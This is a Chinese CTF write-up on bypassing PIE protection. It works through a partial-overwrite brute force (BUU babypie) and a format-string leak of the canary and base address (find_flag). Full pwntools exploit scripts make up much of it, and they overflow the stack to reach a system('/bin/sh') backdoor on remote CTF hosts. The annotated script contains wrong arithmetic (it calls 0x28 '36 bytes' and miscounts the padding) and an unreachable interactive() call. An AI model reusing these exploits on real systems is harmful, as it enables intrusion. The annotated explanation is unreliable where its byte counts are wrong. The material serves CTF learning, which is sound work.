绕过防御之击败PIE保护

PIE的介绍

Position-independent executable 地址无关可执行文件，该技术就是对于代码段、text 段、data 段、.bss 段等固定地址的一个防护手段，应用了 PIE 的程序在每次加载时都会变换加载基址，从而使 ropper 等工具无法得到准确的地址的一种防护。

但注意：PIE 只是 “整体偏移随机”，程序内部的相对地址不变！

tip) 在计算机中，内存地址本质是一串二进制数（比如 64 位系统中是 64 位二进制），“最后 12 位” 就是这串二进制数的最低 12 位（最右侧的 12 位）。 也可以认为成是十六进制的最后 1.5 位

虚拟内存的 “页对齐” 规则

操作系统分配内存时，是以 页（Page） 为最小单位的，x86-64 系统默认页大小是 4KB = 0x1000 字节

  • 程序的基地址必须是 0x1000 的整数倍（即基地址的最后 12 位全是 0，比如 0x55f8a7600000、0x551234500000）；
  • 程序内部的函数 / 变量偏移，是编译时确定的（比如 main 偏移 0x5d6、system 偏移 0x2d290），且偏移值一定小于一个页（或跨页但相对偏移固定）；

因此：实际地址 = 基地址（最后 12 位为 0） + 内部偏移（≤ 0xFFF 或固定） → 实际地址的最后 12 位，就是内部偏移的最后 12 位（完全不变）。

IDA 的 “虚拟地址” 显示逻辑

IDA 反编译时，会给 PIE 程序分配一个 默认基地址（通常是 0x100000，可在 IDA 中修改，但不影响偏移），然后显示 “默认基地址 + 内部偏移” 作为 “虚拟地址”。比如：

  • IDA 中 main 的虚拟地址是 0x1005d6 → 实际是 “默认基址 0x100000 + 偏移 0x5d6”；
  • 程序运行时，实际基址是 0x55f8a7600000 → 实际地址 0x55f8a76005d6；

对比两者的最后两位：0x05d6（IDA 虚拟地址）和 0x05d6（运行时实际地址）完全一致！这就是你说的 “PIE 隐藏了基地址，但最后的 12 位仍然会显示在 IDA 中”——IDA 显示的最后 12 位，本质是程序的 “内部相对偏移”，和运行时实际地址的最后 12 位完全相同。比如：

  • 程序编译后，main 相对于基地址的偏移是 0x5d6（假设）；
  • 第一次启动，基地址随机为 0x55f8a7600000，则 main 实际地址 = 基地址 + 偏移 = 0x55f8a76005d6；
  • 第二次启动，基地址随机为 0x551234500000，则 main 实际地址 = 0x5512345005d6

PIE的绕过方式（部分覆盖&直接泄露）

1）爆破 PIE Partial Write [BUU] linkctf_2018.7_babypie

1766367415808-b06ef3bf-664b-453b-b909-f3011ba3c953.png1769265449229-de0b75a7-7d8f-4e24-b0ca-89322664f72f.png1769275192180-c4fc66b5-1894-41df-a761-5c2290be5fa4.png

PIE隐藏了基地址，但是最后的12位仍然会显示在IDA中，我们可以通过对最后一个半字节的改变修改地址，达到进攻目的。因为我们只能一个字节一个字节改动，最后半个字节就需要爆破处理，1/16的概率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 sub_960()
{
    _QWORD buf[6]; // [rsp+0h] [rbp-30h] BYREF

    buf[5] = __readfsqword(0x28u);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(_bss_start, 0, 2, 0);
    memset(buf, 0, 32);
    puts("Input your Name:");
    read(0, buf, 0x30u);
    printf("Hello %s:\n", (const char *)buf);
    read(0, buf, 0x60u);
    return 0;
}

找到后门函数 system(“/bin/sh”)；地址为 0x0000000000000A42（由于开启 PIE，只有 A42 是固定不变的）

1
2
3
4
int sub_A3E()
{
  return system("/bin/sh");
}

基本函数分析： memset(buf, 0, 32);对buf的32个字节进行清零。

Canary：__readfsqword(0x28u) 是 x86_64 Linux 下读取全局 Canary 值的核心操作，对应读取 FS 段 0x28 偏移处的 8 字节；

分析 IDA 发现有两个 read 函数，第一个可以用来泄露 canary，第二个用来后早 payload 获取 shell。

由于 Canary 是八个字节且最后一个字节为 \x00，所以我们截取小端排序的前七个字节来获取 Canary。

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os='linux', arch='amd64', log_level='debug')  
p = remote("node5.buuoj.cn", 29544)  # 题目的远程端口
p.recvuntil("Input your Name:\n")
payload = b'a' * (0x30 - 0x8 + 0x1)
p.send(payload)
p.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
tmp = p.recv(7)
canary = b'\x00' + tmp
print("canary：", canary)

我们已知 PIE 的最后 1.5 个字节是不变的，因此我们只需要爆破倒数第二个字节的十六进制的第一位 16 次即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
addr = b'\x42'
for i in range(16):
    addr += bytes([0x10*i+0xA])        #[]这里一定要加上中括号，表示一个字节
    payload = b'a'*(0x30-0x8) + canary + p64(0) + addr
    p.send(payload)
    p.sendline(b'ls')
    s = p.recvline() 
    if b'bin' in s:
        print("爆破成功",addr)
        break
    else:
        addr = addr[:-1]         #去除最后一位十六进制数字，即i
        continue
p.interactive()

爆破exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(os='linux', arch='amd64', log_level='debug')  
p = remote("node5.buuoj.cn", 29544)  # 题目的远程端口
p.recvuntil("Input your Name:\n")
payload = b'a' * (0x30 - 0x8 + 0x1)
p.send(payload)
p.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
tmp = p.recv(7)
canary = b'\x00' + tmp
print("canary：", canary)
addr = b'\x42'
for i in range(16):
    addr += bytes([0x10*i+0xA])       
    payload = b'a'*(0x30-0x8) + canary + p64(0) + addr
    p.send(payload)
    p.sendline(b'ls')
    s = p.recvline() 
    if b'bin' in s:
        print("爆破成功",addr)
        break
    else:
        addr = addr[:-1]        
        continue
p.interactive()

1769279199683-0214b4d9-be12-4446-ac12-5941ed5fe9ec.png

当然赌狗要是觉得自己 exp 准确无误，也可以尝试不用爆破尝试暴力碰撞那 0.5 个字节，不过是 1/16 的概率。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *  # 导入 pwntools 库（远程连接、payload 构造、调试都依赖它）

context(os='linux', arch='amd64', log_level='debug')  # 上下文配置：
# os='linux'：目标系统是 Linux；
# arch='amd64'：64 位程序（地址 8 字节、寄存器 64 位）；
# log_level='debug'：打印调试日志（显示发送/接收的所有数据，方便排查问题）

content = 1  # 本地/远程切换开关（1=远程，0=本地，本地测试通后改 0 换成本地 process 连接）

io = remote("node5.buuoj.cn", 25487)  # 远程连接：IP=node5.buuoj.cn（BUUCTF 远程服务器），端口=25487
# 本地测试时需改为：io = process('./本地程序名')
io.recvuntil("Input your Name:\n")  # 接收远程程序输出，直到遇到提示语“Input your Name:\n”（等待输入的标志）

payload = b'a' * (0x30 - 0x8 + 0x1)  # 构造“泄露 Canary”的 payload：
# 关键偏移解释（基于题目栈布局）：
# 0x30：局部缓冲区（存储输入 Name 的数组）大小（48 字节）；
# 0x30 - 0x8 = 0x28（36 字节）：填满缓冲区后，刚好到达 Canary 前 1 字节（Canary 占 8 字节）；
# +0x1（加 1 字节）：总共 37 个 'a'，最后 1 个 'a' 会覆盖 Canary 的第 8 字节（最后 1 字节，原本是 \x00）；
# 目的：破坏 Canary，让程序在输出“Hello + 输入”时，泄露 Canary 的前 7 字节。

io.send(payload)  # 发送泄露 Canary 的 payload 到远程服务器

io.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")  # 定位泄露位置：
# 接收“Hello + 36 个 'a'”（因为 payload 前 36 个是 'a'，第 37 个 'a' 覆盖 Canary），之后的输出就是泄露的 Canary 数据。

tmp = io.recv(7)  # 读取泄露的 Canary 前 7 字节（因为第 8 字节被我们改成 'a' 了，无效）
canary = b'\x00' + tmp  # 恢复完整 Canary：
# Canary 原本是 8 字节，最后 1 字节固定为 \x00，所以用 b'\x00' + 前 7 字节，凑成完整 8 字节 Canary。
print("canary：", canary)  # 打印 Canary（如 b'\x00\x12\x34\x56\x78\x9a\xbc\xde'）
address = b'\x42'  # 后门函数地址的低 1 字节（固定为 0x42，从题目泄露或 IDA 分析得出）

for i in range(16):  # 遍历 16 种可能（PIE 低 12 位的高 4 位是 0~F，共 16 种）
    # 构造地址的第 2 字节：0xA + 0x10*i（i 从 0~15，所以第 2 字节是 0xA、0x1A、...、0xFA）
    address += bytes([0x10 * i + 0xa])  # 最终 address 是 2 字节：低字节 0x42，高字节 0xA~0xFA（即 0x0A42、0x1A42、...、0xFA42）
    # 为什么是 2 字节？因为 64 位地址的高 52 位是随机基址（无需改），仅需覆盖低 12 位（2 字节足够）。

    # 构造栈溢出 payload（核心结构：垃圾数据 + 正确 Canary + 覆盖 rbp + 后门地址）
    payload = b'a' * (0x30 - 0x8)  # 垃圾数据：36 字节，填满局部缓冲区（不破坏 Canary）
    payload += canary  # 写入正确的 Canary（避免程序因 Canary 错误崩溃）
    payload += b'a' * 0x8  # 垃圾数据：8 字节，覆盖 rbp 寄存器（64 位程序 rbp 是 8 字节，不影响执行）
    payload += address  # 覆盖返回地址：写入后门函数的低 2 字节（高 52 位复用程序基址）

    io.send(payload)  # 发送溢出 payload 到远程服务器
    io.sendline(b'ls')  # 发送测试命令：ls（列出目录，判断是否获取 Shell）
    s = io.recvline()  # 接收远程服务器的返回结果

    if b'bin' in s:  # 判断是否爆破成功：
        # 若返回结果中包含 'bin'（ls 命令会列出 /bin 目录），说明已获取 Shell，后门地址正确
        print("地址爆破成功：", address)
        break  # 退出循环，结束爆破
    else:  # 爆破失败：
        address = address[:-1]  # 删除刚才添加的第 2 字节（恢复为仅 0x42）
        continue  # 继续下一次遍历
        io.interactive()  # 进入交互模式：此时可输入任意 Shell 命令（如 cat flag.txt 读取flag）
2）直接泄露 NSSCTF[深育杯 2021]find_flag

1766368335430-daae065f-1f35-4083-9956-efcca909588e.png

61）[深育杯 2021]find_flag（栈全开）

1773161205971-8a476599-e366-47a0-a490-29dca1552cb4.png

1773161584790-3716afbb-6e87-4d09-a60b-74aa985a49a7.png

1773161172861-a9830079-1ed5-45b6-9b72-a14a8d950f65.png

发现格式化字符串漏洞，先用该漏洞寻找输入的字符串的偏移：发现是 6

1773162616164-6b24d4cc-60c9-4921-8b40-f736b077df4c.png

之后思考我们需要干什么，1. 泄露 Canary 2. 利用泄露的返回地址和 PIE 去寻找基地址。我们可以先找偏移

由于开启了 PIE，我们不可以在 main 函数下断点，我们把断点下到 printf 处：

1773161466431-03bb64f1-87d9-49e9-ba16-bb024efcc98a.png

printf 能直接断是因为它是 libc 的符号，gdb 从系统就能提前知道并 pending 等待加载；

而 main 函数是你 PIE 二进制里的，gdb 在加载前不知道基址，所以函数名无效。我们不能在 main 函数下断点

我们在 printf 处下断点之后一直单步运行直到可以输入为止，输入%p%p%p 之后查看栈情况：

1773162563874-4dfe52a2-9e5c-4d85-81dd-1e689ff97921.png

此时 rax 处偏移为 6，之后递增，可知 Canary 处偏移为 17，返回地址的偏移为 19。当我们泄露了返回地址之后，就可以去 IDA 中寻找返回地址的偏移值：

1773162839133-edca7c8b-692b-403c-9316-0169c3e5bd71.png

我们要寻找 call sub_132F 后的返回地址，他的偏移为 0x146F。我们可以利用这个来计算基地址。

有了基地址之后我们就可以去寻找后门函数：发现偏移为 0x122E，还要预留 system 的位置

1773163026855-6ad5e05c-7fa1-4fca-8db8-7127b315e0b7.png

当我们获取完需要的信息之后，就可以利用第二个 gets 函数进行栈溢出获取 shell 了。

1
2
3
4
5
6
7
from pwn import*

p=process("./find_flag")
payload1='%17$paaa%19$p'
p.recvuntil("name?")
p.sendline(payload1)
buf=p.recvuntil("!")

1773163779047-94de8550-b935-4b8a-ae39-e5a8edc9ab1f.png

用 aaa 把两个地址隔开，之后自己去截取 canary 和返回地址就可以了。

1779453666290-fec76959-6f48-48a2-93b0-7cb6af0aa086.png

计算出 base_addr：利用 ret_addr - base_addr 得到偏移，那么就可以确定随机地址

随机地址+固定偏移就是准确地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
# p = process('./find_flag')
p = remote('node4.anna.nssctf.cn', 20668)
context.terminal=["tmux", "splitw", "-h"]

p.recvuntil(b"Hi! What's your name? ")
p.sendline(b'%17$paaaa%19$p')
p.recvuntil(b'Nice to meet you, ')

buf = p.recvline() 

canary = buf.split(b"aaaa")[0][-18:]
ret_addr = (buf.split(b"aaaa")[1]).split(b'!')[0]
canary = int(canary, 16)
ret_addr = int(ret_addr, 16)

print(f"canary is:{hex(canary)}")
print(f"ret_addr is:{hex(ret_addr)}")

base_addr = ret_addr - 0x146F
log.success(f'base is {hex(base_addr)}')
backdoor = base_addr + 0x122E 

payload = b'a'*(0x40-0x8) + p64(canary) + p64(0) + p64(backdoor)

p.recvuntil(b'Anything else? ')
p.sendline(payload)

p.interactive()

1779454797264-d536076c-a426-4bfb-8e63-4e98d7a74f9b.png

1766368844294-65609a44-dbfc-4d74-add6-2a0095c5b6f1.png

更新: 2026-05-22 21:00:21
原文: https://www.yuque.com/idcm/wnemg9/owph8w5gdwfergf9